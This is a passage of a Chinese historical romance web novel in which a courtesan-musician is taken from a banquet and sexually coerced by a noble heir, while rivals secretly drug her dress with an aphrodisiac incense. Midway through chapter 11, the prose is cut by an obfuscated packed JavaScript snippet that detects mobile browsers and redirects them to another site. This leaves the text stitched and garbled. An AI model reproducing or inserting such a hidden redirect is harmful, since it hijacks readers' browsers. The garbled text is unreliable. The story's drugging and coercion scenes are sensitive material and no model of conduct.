贺容音摇着头,低叹一声:“世子的脾性我不了解,但鸢儿生得好,天仙似的美人,我真怕世子是个浪荡子,怨我也顺便迁怒于你,对你欺凌。原本鸢儿在苏陵待得好好的,每日与易师父抚弦学琴,也算无拘无束,自由自在,若不是为了我,鸢儿也不必一同进京,来过这战战兢兢的日子。” 青鸢凑上前,亲昵挽住贺容音的手臂,声音低低的:“阿娘,不管在苏陵还是京城,只有陪在阿娘身边我才觉得心安,我们母女俩这么多年相依为命,早就谁也离不开谁。” 听了这话,贺容音眼眶洇上热泪。 她抬手轻抚青鸢的脸颊,哽咽说:“好,咱们母女谁也不离开谁,都好好的。” 青鸢用力点头,畅想着以后:“阿娘放心,等你嫁进侯府,以后就都是好日子了。” …… 回了阆苑,舞斋与笛阁的姑娘们正凑众聚在院中,规矩站着等着薛三娘的调度安排。 看着眼前的热闹场面,青鸢猜想京中大概是又有大型的筵席宴会要办了。 她倒没往瞿涯的庆功宴上联想,毕竟镇北侯府因为老侯爷续弦一事,正遭满城风雨的议论,京中谁人不知,世子对所谓的阆苑伶人憎恶痛绝,哪会再找阆苑的姑娘去席宴上献艺招摇,那不是自找别扭吗? 不关自己的事,青鸢向来懒得打听。 她带着夏蝉穿过人群,避开热闹,径自回了顶阁。 暑热的天气,她不过出门一趟已然湿透了内衫,再不想继续顶着日头活受罪了。 只是青鸢没有想到,这场热闹到底与她有关。 两日后,薛三娘着急忙慌找上门,扬言勤王殿下亲自吩咐,要她去世子的庆功宴上献一曲舞,并叮嘱她勤奋习练,上场千万别出岔子。 青鸢简直怀疑自己听错,忙问:“世子的庆功宴?要我去?” 薛三娘面上是真显着急的样子,回道:“是,王爷亲自派人传话交代的,点名要你过去露脸,往常这种场合王爷都不会特意点姑娘的名,也不知这回到底是怎么了……” 薛三娘是有意想套青鸢的话,可青鸢一脸茫然,也回答不上来。 青鸢再三确认又问:“当真是要我过去献舞……不是抚琴?” 阆苑的姑娘们个个多才多艺,但往往每人都是精学一项。阆苑分四个主院,分别是舞斋、笛阁、琴坞、琵琶轩,所谓术业有专攻,青鸢琴音弹得妙绝,可舞艺却不过尔尔。 就算庆功宴上有献舞环节,那也该从舞斋的姑娘们里进行选拔,凭白折腾她做什么? 青鸢想不明白。 薛三娘的脸色也有点难看。 原本她是想推自己的外甥女去做庆功宴的主舞,趁机出出风头,可邹清清已经勤奋苦练了两日,王爷突然说换人就换人,硬要去捧没有舞蹈功底的青鸢,怎能叫人不生恨。 薛三娘心里忿忿,面上还得硬赔笑脸:“是去献舞,王爷叫人过来传话时,我就已经再三确认过,不会错。” 青鸢揣测不明白王爷的心思,他向来不掺和阆苑的调度,怎偏偏这次有闲心? 还正好点了她的名…… 安排得一派混乱。 青鸢硬着头皮接下这任务。 没办法,既是不擅长的事,只能咬牙苦练,更何况留给她的时间本就不多。 她算有些基础,但不多,要想在这么短的时间内练熟一整支舞肯定来不及。 青鸢心里有数,当即决定取舍。 她只选一曲舞中最赏心悦目的片段呈现,短而精也好,总能应付过去场面。 青鸢完全是被赶鸭子上架的,然而舞斋最有资历的邹清清,却怀疑她是背地走关系。 邹清清找到薛三娘哭诉,说明自己的怀疑:“此事绝对有蹊跷,王爷怎会突然管起阆苑的用人,肯定是有人在王爷面前说了什么,求王爷这么安排的。姨母……你说会不会是杨桀公子想与青鸢妹妹私会,所以以公谋私,特意制造见面的机会?” 薛三娘琢磨想了想:“应该不会吧,那日是世子与镇北军的庆功宴,表彰功绩的重要场合,杨公子忌惮着世子,怎么也不敢胡来的。” 邹清清却道:“那可不一定,听闻上次的船坞酒宴世子也在场,说不定世子与杨公子私底交情不错,彼此之间无需那么多担待。” 薛三娘越想竟越觉得有道理,抬手往桌上重重一拍,厉道:“真是胆大包天了,什么场合都敢胡闹,若青鸢真与男子私约见面,被我捉个正着,我绝不饶她!” 邹清清在旁又出主意:“到时咱们把场面闹大,叫众人都瞧见,就算王爷私心想护她也护不了了。” 薛三娘早不愿在阆苑总被个年纪轻轻的小姑娘压着了,别的姑娘见她总要恭敬叫声姑姑的,青鸢倒好,一口一个三娘,反过来还需她毕恭毕敬伺候着。 一个小狐媚子,竟比她在王爷面前还更能说上话。 薛三娘早觉得青鸢碍眼了。 眼前正是将人从高处拉下来的好时机,薛三娘眸光一暗,决定不留情面。 “好,只要她敢玩火,咱们就帮忙添把柴,保证叫火彻底烧起来,看她怎么摘脱!” …… 五日后,镇北军庆功宴在京城东熹园高调开席。 皇帝没有亲临,但赐来赏功圣旨,还有成箱御酒,将瞿涯天子宠臣的面子给的很足。 京中大臣倒是来得多,有些肱骨老臣当真看中瞿涯的栋梁之材,愿意与他走近,还有的,无非是想趁势上前贴一贴,在瞿涯面前露个熟脸。 除去外人,眼下正值京中各户议论的老侯爷瞿坚也到了,还有瞿涯的亲舅舅,当今驸马爷宋叙安,两人席上一见面就各种不对付,一个梗着脖子只想避过,另一个吹鼻瞪眼忍不住开口嘲弄。 最后还是瞿涯身边的亲信佟木过来将两位长辈拉开,安排他们分坐两席,隔得远些,省得掐架。 皇帝给瞿涯论功行赏的圣旨在台上宣读完毕后,便轮到瞿涯给自己的部下赏功赐金。 他自己得了万金,又全部不吝惜地赐出去,赏金不只流通于几个高级部将,瞿涯要的是钱银必须落实到每个冲锋陷阵的普通兵士身上,叫他们实在拿到手。 瞿涯表彰,字字铿锵,台下将士们情绪高涨,皆振臂扬威,声势汹汹。 席上,瞿坚还是忍不住扶须感喟了声:“虎父无犬子,不愧是我儿啊……” 这句声量不大,偏不巧就被隔着几个坐席的宋叙安听着了。 他脸一沉,不给面子地呸了声:“真当自己是涯儿的老子,就别给他丢人,做那不光彩的腌臜事!” 瞿坚咬咬牙,差点忍不住脾气想发作,他在自己亲儿府上还要受气,实在憋屈得慌,可又想到他与容音好不容易走到现在,不想一时冲动前功尽弃,于是假装没有听到,自顾自呷酒一杯。 宋叙安见老家伙厚脸皮没反应,更恨得咬牙切齿。 …… 赏功结束,场面便放松下来,接着就是入席吃酒,听曲赏舞寻乐子了。 瞿涯下台后该打的招呼都打过了,落了座,他给亲随佟木递了个问询的眼色。 佟木会意,躬身回:“青鸢姑娘已经跟着阆苑的人一起进园了,现在应该在候场。” 瞿涯往大致的方向扫了扫,人头攒动,眼花缭乱,一眼看不到想看的人。 他收回视线,言简意赅:“该安排的,都安排好了?” 佟木点头:“是,世子放心。” 两人刚刚对话完,坐席斜下方有人突兀扬臂呼喊,冒失不成样子。 瞿涯望过去,见是自己的表弟宋棠川正冲他欢欢喜喜地打招呼。 他敷衍摆了下手,懒得开口回应,侧首对佟木说:“少见棠川来凑这样的热闹。” 佟木讷讷回:“嗯,宋公子是少见能坐得住的性子,平日里不爱掺和酒宴,只喜钻研古籍或走访名山古建,今日过来的确稀奇。” 稀奇的不只他一个。 瞿涯目光冷 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听瞿涯语气不善,佟木不敢废话多问。 他赶紧离席安排,眼下台上的女将军正舞剑到尾声,按原来计划,下一个登台的就是青鸢。佟木先是急走,而后是跑,生怕迟一步,青鸢姑娘就要上台被众目睽睽盯着看了。 他是觉得没什么,青鸢姑娘本就习艺,临众弹弦的场合不会少,哪里就不能被看了? 可世子不愿,还差点发了火。 佟木听命行事,不敢多嘴。 …… 另一边,青鸢已经换好表演的服饰,一身紫色重锦绫罗纱衣,披帛浅黄,明艳生动。妆面精致,云鬓高绾,发上插着九鸾金步摇,脚脖上又赤足戴着金钏儿,十分晃目映衬。 舞裙的香气更比平常浓些,似乎前夜浸过香料,不过这些不是她安排的,阆苑的表演服饰都有人专门打理派送。 夏蝉走近,帮青鸢去补唇上的胭脂。 眼前少女凝脂肌肤,娥眉曼睩,衣香鬓影,看得久了,谁也免不得要晃神。 她都能想象出,姑娘这副生动模样上台,待舞姿一起,腰肢款摆之际,下面看台得起多大的声浪,尤其那些男客的目光,估计到时如狼似虎,移都移不开。 夏蝉给青鸢打气:“姑娘别紧张,你肯定能跳好。” 青鸢温温弯唇:“嗯,希望舞步不出错。” 两人说完,台上鼓声震震,气势如虹。 正是台上舞剑的女将军英姿飒爽完成最后一式,收剑入鞘,抱拳一礼,席上掌声顿时如雷,捧场的多是各营兵士。 接着就要到青鸢了。 同样万众瞩目。 说不紧张是假的。 她舞蹈基础不夯实,只能勤奋补拙,前段时日,她练舞练得辛苦,所幸领悟力尚可,只精学一个片段独舞呈现,不成问题。 原本青鸢也想过找舞阁最有经验的邹清清来指教,可对方见她连表面功夫都懒得做,冷脸相待,敌意满满,青鸢当然不会再自找没趣。 两人井水不犯河水,一个琢磨独舞,另一个带着舞阁姑娘们习练团舞,各不相碍。 八面玲珑的薛三娘这次也没有想着帮两人缓和关系,一副事不关己的模样。 青鸢明白邹清清是因风头被抢才这般敌对,可她没法解释,事实如此,什么不知情之类的说辞,都很苍白。 丝竹声起,是她的独舞乐曲。 青鸢回过神来,提起裙摆出了幕。 不知是不是她的错觉,露面的一瞬间,耳边骤然呼声雀跃,如雷贯耳,比刚刚女将军上台舞剑时更热烈十分。 她屏息迈步,才刚刚迈上三阶,眼前遽然一暗。 舞台周围燃着的松明不知因何缘故骤然全熄,周遭黑得太突然,她眼睛像是盲了瞬,什么都看不清,只好暂停原地。 不过片刻功夫,耳边忽的擦过一阵风,有人鬼魅一般接近过来,趁她未来得及反应,低低出声:“世子有请,姑娘跟我走一趟。” “……” 她瞬间汗毛都被吓得立起来。 …… 台幕沉沉,久没动静,席上慢慢起了不小的骚乱与聒嘈声。 方才青鸢露面不过匆匆一晃,哪里看得过瘾,众公子不满,纷纷扬声催促点火照明。 很快,松明重新燃起来,可台上早已空无一人,哪里还见青鸢的影儿。 独舞环节直接跳了过去,管乐一变,竟换群舞登场。 众人左瞧右看,无不懵怔,仿佛刚刚匆匆一瞥的美人面,不过是幻想的错觉。 11. 第 11 章 青鸢跟着佟木从台幕后隐蔽匿身,穿假山走小路往后亭去,一路战战兢兢。 身后群舞登场的乐曲她听到了,想必后面无需她再上台,松了口气的同时,又难免惋惜自己先前苦练舞步时受的辛苦,那些通通都白费了。 世子是故意想整她吗? 可这样不痛不痒的整治,又不太像他的作风。 青鸢一路默默揣测着瞿涯的心思,不知不觉就跟佟木到了后亭附近。 周围灌木丛丛,月光溶溶,夜风拂面很是怡人,跟前院的纷乱喧闹相比,好似完全两个世界。 佟木突然停步,对她倒很客气,示意道:“姑娘往里走就是,世子已经到了,我在此候着。” 青鸢欠了欠身,知礼回:“多谢佟校尉引路。” 说完,她按照佟木所指的路线,惴惴不安地朝前迈开,心里愈发没底。 而佟木看着渐渐走远的人影,愣在原地琢磨,自己从未明言告知过,青鸢姑娘怎知他的军职。若是事先打听的,青鸢姑娘还真是心细之人。 …… 夜风褪了暑热的粘黏,一拂再拂。 青鸢走到后亭站定后的第一反应,竟是觉得脚冷。 她被佟木从台幕后带走一路来了后苑,根本来不及换下衣服,此刻还光脚穿着舞裙。 瞿涯应该早听到她过来的动静了,却在亭中慵懒倚着靠栏,阖着目,始终没有看她。 青鸢进亭,脚踝上的金钏儿碰撞,发出一声声清脆的响,搅得人心神不宁。 她立在瞿涯面前,先出声道:“世子怎在这里躲清净,无需在前院招待了吗?” 瞿涯好似真的困倦,慢慢睁眸,目光盯在她身上。 青鸢松懈的神经立即僵绷,大气不敢出。 看她一身明艳夺目的打扮,瞿涯审视的眸光愈深,慢慢下睨,又主意到她光裸的脚,眉心不满拧蹙起来。 “谁给你打扮成这样?” 青鸢低头看了看身上装扮,老实回:“不过是阆苑的寻常规制,以往有献舞的场合,姑娘们都是这么穿的。” “难看,脱了。”命令完,见青鸢脸色异样的浮红,瞿涯反应过来,改口道,“换了。” 青鸢小声嘟囔:“此刻去哪里寻别的衣衫……” 两人沉默,片刻后,瞿涯起身,也不交代一句,直接越过她往亭外走。 青鸢看着他冷冰冰的俊脸,犹豫了下,想着要不要跟上去。 刚动作,瞿涯甩了句:“在这等着。” 青鸢哪敢不从。 他去而复返,很快回来,但也没有立刻理她。 青鸢心里打鼓,却不敢冒然询问他刚刚去了何处,怕他责自己多嘴。 没过一会儿,亭外传来有人靠近的动静,青鸢下意识想躲,但瞿涯眼神平静,她便知自己无需躲藏,人或许就是他安排过来的。 来的是两个仆妇,都是熹园的人。 前面的有些眼熟,好似上次见过,她提着盛水的木桶,水是热的,还腾腾冒着热气,后面的则端了个木托盘,送来的东西一眼可辨,是一身崭新的浅色衣裙和搭配的鞋履。 两人放下东西后就立刻离开了,全程没有眼光乱瞟,也没多嘴一句,十分规矩。 青鸢看着那两样东西,若有所思,衣裙自然是给她换的,可木桶呢…… 正琢磨着,瞿涯用脚将木桶踢到石凳旁,动静不小,水还外溅出来一些,他耐心不多地抬眼移到她身上,开口催促:“还不过来?” 青鸢有些困惑,动作也跟着迟疑。 瞿涯不耐烦地走过来,手一伸,直接将她打横抱起,走几步放坐到石凳上。 “世子……” “别乱动,光脚踩了一路,脏不脏?” 说着,他掌心箍上她的脚踝,将她双脚拉着浸入木桶的热水里。 原本看着水面热腾腾的,还以为水温会很烫,没想到双足放进去那么舒服,还有隐隐的淡香入鼻,莫不是里面添了什么香草? 不过她暂时也顾不得管香草了。 眼前的画面过于超出她的预想,无论如何,尊贵如瞿涯,怎能屈膝给她这样身份的人洗脚呢…… 青鸢不是受宠若惊,而是一种本能的不安与局促。 她缩动,力道微挣,不自在道:“我自己来洗吧,怎敢叫世子屈尊。” 瞿涯像是没有听到,动作依旧如常,他慢条斯理地揉捏把攥,仿佛洗的不是脚,而是在细致濯洗一块精巧的白脂琼玉,并且爱不释手。 青鸢哪被男子如此对待过,当下呼吸急促,脸膛红得似欲滴血。 她执拗不过,只能紧紧抿唇,煎熬挨受。 “有谁看过你的脚?”瞿涯忽的问。 青鸢低声喃喃,声音也显紧绷:“没……只有身边伺候的人。” 她指的是贴身伺候的女婢子,但瞿涯问的显然不是这个。 他力道微收,施力在她滑腻腻的脚踝上,沉声再问:“可有别的男子看过?” 青鸢反应过来,明白世子审问的是什么。 她脑袋垂得更低,轻轻摇着作否:“裸足献舞是舞阁姑娘们日常所受的训练,我属琴坞,今日是第一次作这样的打扮。” 瞿涯指腹摩挲得她脚背好痒,青鸢声音不忍变个调,颤巍巍的轻如游丝。 “至于今日,刚刚我还没来得及上台,就被佟校尉拦阻,引到此地,故而看到的人,寥寥几个……” 意思就是,如果她没有被刻意安排着献舞,根本没有男子见过她的足。 而事已至此,被谁窥见,怪不得她。 瞿涯眼神危险一眯,重力箍住她脚腕:“青鸢姑娘住在阆苑顶阁,身份与寻常的伶人可不相同,难道衣服还不由得自己选?” 青鸢眨着无辜的美眸道:“世子明鉴,邀请阆苑姑娘跳舞的地方多为声色场,酒林肉池之地,哪有所谓的保守服饰,更何况独舞女娘的衣裙惯例如此,既不容我选,左右也无太大区差。” 说完,示弱垂睫,将无辜受冤的姿态摆得楚楚招人怜。 瞿涯敛了力道,不再为难作声,缄默着将她双足濯净,又用干棉巾左右擦拭完成。 青鸢红着脸,坚持自己穿鞋,不敢再多劳烦他。 瞿涯起身负立,幽幽开口:“你似对我颇有怨气。” 青鸢噎了一口气,回复:“不敢。” 瞿涯冲外摆了下手,刚刚进来过的两个仆妇很快再次现身,她们端走濯足的桶具,又手脚麻利地将亭子收拾干净,而后自觉默声退下。 亭内再次只剩他们两个。 晚风凉凉,拂在青鸢单薄的肩胛上,她却不再觉得冷。 双脚是暖和的,身子也跟着发暖。 瞿涯转过身看她,开口严厉很多:“有何不满,你说。” 青鸢嘴巴动了动,敷衍不过,干脆吐了真言:“如果我猜得不错,特意点我来庆功宴上献舞的不是别人,正是世子吧?不然其他人也不会使得王爷轻易卖面子。世子想故意难为我,知我不善舞曲还硬要赶鸭子上架,结果事到临头,世子心情一变,又觉得如此安排不好玩,于是派人中途阻拦,强行将我带到此地。我没有别的抱怨,只是勤习苦练了这么久,脚底都快磨出泡来,如此辛劳,统统都成了白费……有点怨气,也是人之常情吧。” 瞿涯听完,盯看她两眼,语气竟变得缓和:“这水里添了药草精华,可以滋润消淤,你多泡一会就不会起泡。” 原来,方才鼻息间闻到的香草气出自于此。 青鸢看着他,气势不由减弱。 又听瞿涯再道:“而且,谁说你是白费工夫?” 青鸢茫然:“世子何意?” 瞿涯重新倚上背靠,姿态慵懒,口吻也懒洋洋的:“只是不让你在台上跳,在这里,你单独跳给我看。” 青鸢迟疑:“在这?” 瞿涯抬手揉了揉自己太阳穴:“前院吵闹,我觉得烦,难道你还想在人前卖弄?” 她卖弄什么? 今日所有不都是他在背后推波助澜的吗? 青鸢没有立刻回话,瞿涯眼神立刻露了凶光,咄咄问:“怎么,是被我说中了?” “……” 青鸢抿唇愠恚,不和不讲道理的人徒劳计较。 瞿涯审视着她的小表情,弯了弯唇,而后抬手指向亭中石桌上的酒,勾了勾。 青鸢以为他想饮酒,不敢怠慢,会意将酒壶与酒杯老老实实都递过去。 谁知瞿涯接手后,将酒壶放在旁,另一只手直接将杯子掷向远处的漆红木柱上,“啪嚓”一声,发出破碎的脆响。 青鸢一愣,回去怔茫去看。 还未等她反应,亭外忽的响起耳熟的抚琴乐声,正是她先前习练准备表演的那首舞曲。 瞿涯淡声:“乐声有了,还不能跳?” 青鸢看了看地上的碎瓷,这才明白,外面的乐声是听从世子命令而起的。 他的地盘上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285649|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她哪有拒绝的余地。 青鸢提裙走到一处宽敞地,好在酒杯碎裂的地方距离远,碍不到她。 她定了定神,身姿柔软地抬腿上翘,摆好起舞姿势。身上舞裙没换,紫绫薄纱衣单,方便轻盈起舞,不过相比私底下的光脚习练,此时此刻脚底着履不受磨,倒是舒服得多,且穿着鞋,舞步也落得更稳了。 伴随晚风弦乐,青鸢旋身扬袖,细腰一搦,环摆如轻蒲杨柳。 她并未刻意作妩媚靡靡之态,动作也不过寻常,可因本身姿容脱俗出众,艳绝尤物,于是每个寻常的舞姿映在瞿涯眼里,都是助燃的火烛。 他坐中央,被火焚烧。 眼底晦暗愈热,瞿涯漫不经心的姿态渐渐转变为专注。 青鸢又作下腰动作,婉转间,她一侧衣衫滑下肩头,鹅黄披帛和浅紫衣袂同时被夜风吹得翻飞,玉色莹然的肌肤与她身后的月光相辉映,她整个人宛如飘然下凡的瑶池仙子。 两人视线一撞,青鸢乌眸盈盈,玉肌袒雪,娟娟楚楚而不可方物。 瞿涯知晓自己的眼神凝得有些久,但他不想移开。 孤守边地近两年,他自没接触过什么女子,但也能区分美丑,身体更有作为男人本能的反应,他心知肚明,青鸢对他有着该死的极高涨的吸引力。 并且,跟他反应相似的男人,不计其数。 今日宴会来宾,多少是为趁机窥她一眼解解瘾的? 瞿涯抑制心头躁郁,没有继续想下去。 鼻尖忽而拂过一抹异样甜香,紧随跟来鹅黄的影儿,是青鸢的披帛正扫过来。 瞿涯手心微蜷了下,目光一暗,待青鸢舞步挪移向他这边靠近时,他一把揽上青鸢柔软的腰肢,接着掌中收力,将青鸢轻松放倒进自己怀中。 青鸢慌忙环上他的颈,诧异低喃:“世子……” 瞿涯没有开口,漠着脸色,抬手直接扯开青鸢的前襟衣领,露出她胸前大片大片的雪肤。青鸢下意识微挣出声,瞿涯捂住她的嘴。 与此同时,外面和着的弦音一滞,缓缓停了。 熹园的人都极会审时度势,琴声一停,意味着弹琴的人大概已经自觉避退。 青鸢少了份对外的顾虑,但眼前人视线灼灼仿佛要将她活活吞吃的架势,叫她无法放松一口气,她紧张得不敢正常喘息,生怕胸脯起伏,激得他做更出格的事。 “世子,别……别这样。” 她不是不知招惹他的代价,但她实在做不到与他在亭中苟合,如此轻浪。 瞿涯却并没有再进一步,他目光下掠欣赏一会儿后,兀自拿起先前放在身旁的酒壶,看着青鸢,戏谑一笑,而后倾斜壶身,往下灌倒。 青鸢讶然张大嘴巴,亲眼目睹滟滟的琥珀酒浇淋在自己肩身、锁骨以及胸前。 凉意侵袭,她不忍瑟缩,还未及适应,对方又压迫感十足地低身,与她抵额亲近。 她浑身不舒服,下意识想站立,将身上酒水全部抖落。 瞿涯却用力按住她:“别动。” 青鸢声弱喃喃:“这样不舒服……” 瞿涯眸子沉着,语气转变低柔:“我想即刻饮酒,可惜方才酒杯被我碎在了柱上。” 青鸢忙说:“桌上还有,我去帮世子拿。” 瞿涯箍着她手腕:“我是说即刻。” 青鸢瞬间泄力。 瞿涯再次笑了,一手稳托她的腰,另一只手摁在她肩上,而后垂首侵近,对着她锁骨上的蓄液,阖目吮饮,着迷一般。 锁骨献酒,她从前只听过这样的花样,却从未亲历,当下目之所及,叫她好不羞耻。 她指甲重重掐进肉里,被迫仰头,眸光几许涣散。 瞿涯足足浇下半壶的量,酒水顺着青鸢的脖颈下淌,积留在她身上的深凹位置,并不止一处。 吮完锁骨的,瞿涯起身暂顿,舔舔唇,哑声开口:“酒是圣上御赐,浪费一滴都是大不敬,若这酒因你不配合入不了我的口,大不敬的罪名便算在你头上。” 他含笑恫吓她。 青鸢听得怔怔,还没来得及反驳什么,忽觉胸口一瞬重负。 他压下来,气息侵入。 青鸢正要抵力去推,却被揉捏得一僵,随即粗沉的吞咽声清晰入耳。 她眼神漉漉的,明明饮酒的不是她,她却仿佛已被熏醉,浑身无力,飘飘空悬。 双脚无着落的感觉好不自在,此夜她被困在幽幽后亭里,注定成为瞿涯的盘中餐。 12.第 12 章 熹园前院,群舞献艺完毕。 以邹清清为首的阆苑姑娘们款款下台,挨个走进幕台后换装。 下个节目由军营兵士自编而成,伴随节奏铿锵的鼓声,壮硕的士兵军将们半裸着麦色的胸膛上台,他们手持干戚,动作模拟真实战斗的场景,列阵、击刺、冲锋,引得席上阵阵叫好,现场气氛也重新被引领至高潮。 邹清清换下舞裙,从幕后出来,听着耳畔边掌声如雷,脸色更加阴沉。 方才她带人上台表演,台下只有零星稀拉的掌声不说,甚至还有人喝倒彩起嘘声,好似青鸢不现身露脸,临时换作她登场,是多么令人失望的一件事。 邹清清满腔怨懑无处发泄,又寻不到青鸢的影子,胸腔快要闷堵死。 她与薛三娘迎面碰上,两人避过旁人眼目,匿身于墙角说话。 薛三娘啧嘴道:“真是奇了怪了,一个大活人眨眼间就这么凭空消失了?熹园的管事好似也都猝不及防,慌慌忙忙拉你临时去顶,像是急救场。不过这样也算歪打正着了,好歹青鸢没出来抢你的风头,临众领舞到底还是你露的面。” 邹清清闻言,却是一脸的苦意。 青鸢哪里没有抢她的风头,分明是彻底抢光,分毫不剩! 阆苑青鸢即将单独献舞,此事在京城被提前宣扬了多久,今日庆功宴上又有多少人是为她而来?结果临时出状况,换作他人顶上,众人只知高期待落空,失望唏嘘。哪怕后面她邹清清上台领舞领得再好,也是无人问津,再不会有目光为她吸引。 如此,还不如青鸢演完再轮到她上台,这样两人还有被公平比较的份,好过现在,人人都拿她当冒充顶替的次品…… 邹清清有苦说不出,脸色不好问:“姨母,还没寻到青鸢吗?在世子府上临众献艺,她怎敢怠慢至此,这至姨母于何地,又至阆苑于何地?” 薛三娘更是一个头两个大,若寻不到青鸢,她怕世子会将轻慢之罪怪责到她头上,待事情进一步闹大,她更少不得被王爷一顿训斥。 “前院里,我们的人都仔细找过了,没见青鸢的影儿。至于后苑,世子护卫把守森严,外人可迈不进去半步。” 邹清清心思一动,忽的想到什么,抻头往外去探。 她目光扫向坐席间,逡巡片刻,眸子忽的眯起,紧跟面露激动道:“姨母你看,杨公子好像不在坐席上了!刚刚我在台上时还看见他,这会儿竟突然没了影。你说他们两人会不会是提前商量好的,趁乱偷摸去私会了,若真是这样,青鸢真是好大的胆子!” 薛三娘不太相信,琢磨着,狐疑道:“不应该啊,青鸢是沉稳性子,做事心里都有数的,哪怕她献舞完毕,再去与人幽会我都相信,可这样直接甩下烂摊子说走就走,不太像她能干出来的荒唐事。” 邹清清一声冷哼:“那可不一定,姨母别忘了,咱们给她舞裙动了手脚,提前浸了整夜的引欢香。她穿着那身衣裙四处招摇,一旦在郎君跟前晃久了,没欲的都会烧得慌,若是本就对她动了情,简直如同吞了春药发作,根本无法自拔。甚至连青鸢自己,被那香味熏久了也会躁火心生,不再如平常自矜,别说投怀送抱,主动献身都有可能。” 薛三娘这才想起还有这么一茬事。 青鸢的舞裙的确被动过手脚,她们的目的就是添柴加火,若青鸢真敢与男子私会,这引欢香便会催得他们犯下大错,等事情闹得无法收场,青鸢自然彻底翻不了身。 原这香药也不是什么稀罕物,在寻常花楼很是易得,阆苑再打清雅的名号,也不会完全将这类香药禁止杜绝。 邹清清起先提议要用时,薛三娘睁一只眼闭一只眼,没当回事地点头允了。 结果没想到乱子生大了…… 无论如何,薛三娘万不敢耽误世子的宴会安排,就算要抓青鸢的把柄,那也是等正事结束再说,如今青鸢舞也不跳直接消失,完全出乎薛三娘的意料。 时下,也想不到好的补救法子。 薛三娘只能盼着世子今日庆功高兴,忽略独舞环节的缺失,宽宏不跟她们计较。 台上表演依旧按部就班,世子暂时不在席上,不知去了何处。 最忌惮的人离席,薛三娘觉得眼前是个挽救的机会。 她拉了拉邹清清的胳膊,小声催促:“快,趁着没人注意,咱们速速带人去将两人捉奸,如此一来,所有的怠慢与不敬都落到了青鸢身上,如何不关咱们的事。至于开罪杨公子也是没有办法,他的手再怎么也伸不到阆苑,此举若真能将青鸢拉下顶阁,为你腾位,我们冒险一次也算值了。” 邹清清激动点头,听闻“捉奸”二字,眸子都冒光亮。 她因嫉妒生恨,早恨青鸢恨得牙痒痒了。 当下脚步紧跟上薛三娘,生怕耽误一刻,不得报复的痛快。 …… 正当薛三娘与邹清清在前院风风火火准备捉奸成双时,后苑凉亭里,正旖旎一片,交颈拥吻在一起的两人,呼吸缠绵,共同无法自拔地陷进深深的缱绻。 青鸢脸膛比较先前更红了,好似喝酒醉熟后的模样,身上更慢慢烧起陌生的温度,她觉得今日自己真是处处奇怪。 瞿涯也怪。 他寻常只想捉弄她,整治她,就算亲热也不会叫她舒服,总是带报复性质的耍弄。 然而今日,他却第一次主动想要亲密地吻她。 他吻她的唇,还有脖颈,再一路向下……刚刚身上被浇下的凉凉酒水一滴都没有浪费,所谓覆水难收,他却将覆下的酒水尽数吮回了。 青鸢从不知道,她身子能蓄酒的地方居然那么多,继而以身为皿,不知喂给了他多少杯。 原以为锁骨献酒就是极限了。 瞿涯却忽的松了她,而后粗喘着抬手,用力摁上她的脖子,驱使她跪坐在他膝前。 他睥睨下目光,眸底是一片浑浊,眼神比先前所有看她的时刻都更显得晦暗。 青鸢下意识身子发软,被他盯得怕极了。 她声音轻颤:“世子……” 瞿涯轻笑着:“怕什么?先前在池中陪我时,你不是学得很快,做得也极好?” 青鸢瞬间明白了他的指代。 方才坐在他身上时,青鸢就察觉到了不同寻常的异感,此刻他衣袍虽然熨帖盖着,勉强维系体面,可她心知肚明,他侵略十足地盯着她的手,言语暗示的是什么。 今日这亭中就是龙潭虎穴,她怕是又要被磋磨狠了…… 青鸢怔怔的久久没给回应。 瞿涯忽的弯腰向前凑近,几乎要与青鸢抵额时,他定住身子,盯着青鸢发红的眼睛,温和弯唇,宽恕的口吻道:“这手腕上次累着了,要不这回,换个法子?” 青鸢低估了他的恶劣,期翼地以为他是准备饶过她,自己解决。 结果瞿涯边摩挲她的手,边低低地启齿:“歇歇手,换别处。” 随他话音落下,粗粝的指腹摁在青鸢鲜妍的唇珠上,左右摩挲。 瞿涯眸底似焚火,落下的视线分外烫人。 青鸢会意过来,大惊,乞乞缩缩地往后躲。 瞿涯强势压迫地箍上她的后颈,气息交缠,眼神危险:“伺候本世子,你不愿?” 青鸢眼尾红红落了泪,怯生地摇着头。 她愿意用自己为阿娘交换条件,却不愿这样不清不楚地随意被他轻佻对待。 纵使她身份再低微,可总不想被当做破布娃娃一般,被他想起便用,用完便丢。 青鸢偏过眸,委屈说:“那,那不是一回事。” 瞿涯看着她,蹙起眉,用力晃了两下头。 他好似头痛,脑袋不清楚,勉强回过点神后,哑声道:“我以为被我喜欢你会高兴,如此不是正方便了你投机取巧,为你阿娘谋算前途?” 喜欢? 青鸢意外自己会从他嘴里听到这个词。 世子现在是已经醉到言辞表述都无法清楚达意了吗? 他对她哪里会是喜欢,如果更准确地形容,那是报复强占、发泄解恨、纾解怨懑,唯独不会是喜欢。 她更有这个自知之明。 青鸢小心看瞿涯两眼,说道:“世子是醉了,要不我叫人进来,扶世子去歇一歇?” 瞿涯不应,掐摁自己的眉心,又拉起青鸢的手往前拽,声音比方才更哑:“我极难受,你帮我,便能得到你想要的。” 两人对视,青鸢似被他的目光灼染,心口同样开始觉得躁郁不畅。 她鼻尖恍惚又嗅到了自己衣裙的淡香,一种说不明的感觉不断在心口激荡,催着她明知危险,偏还要向瞿涯靠近。 明明不是出于她的本意,她却像不受控制一般,身子挪移,慢慢伏上瞿涯的膝头,好似心甘情愿俯首称臣,愿意为他做任何事。 甚至主动伸手去解他的裤带,又不自怜地用鼻尖去蹭他的腿窝。 瞿涯讶然,紧绷住身体,眯眼仰头,一副享受又很受折磨的样子。 气氛渐进焦灼,正要一发不可收拾之际,忽听佟木迟疑的声音自稍远的地方传来。 “世子,前院管事来报,邝将军舞完剑下台后,一直寻世子寻不到,她特意叫人来后苑找,想与世子去席间一叙,世子见不见?” 瞿涯极不耐烦地回:“说我不在,你离远点!” 佟木那边立刻不敢再出声了。 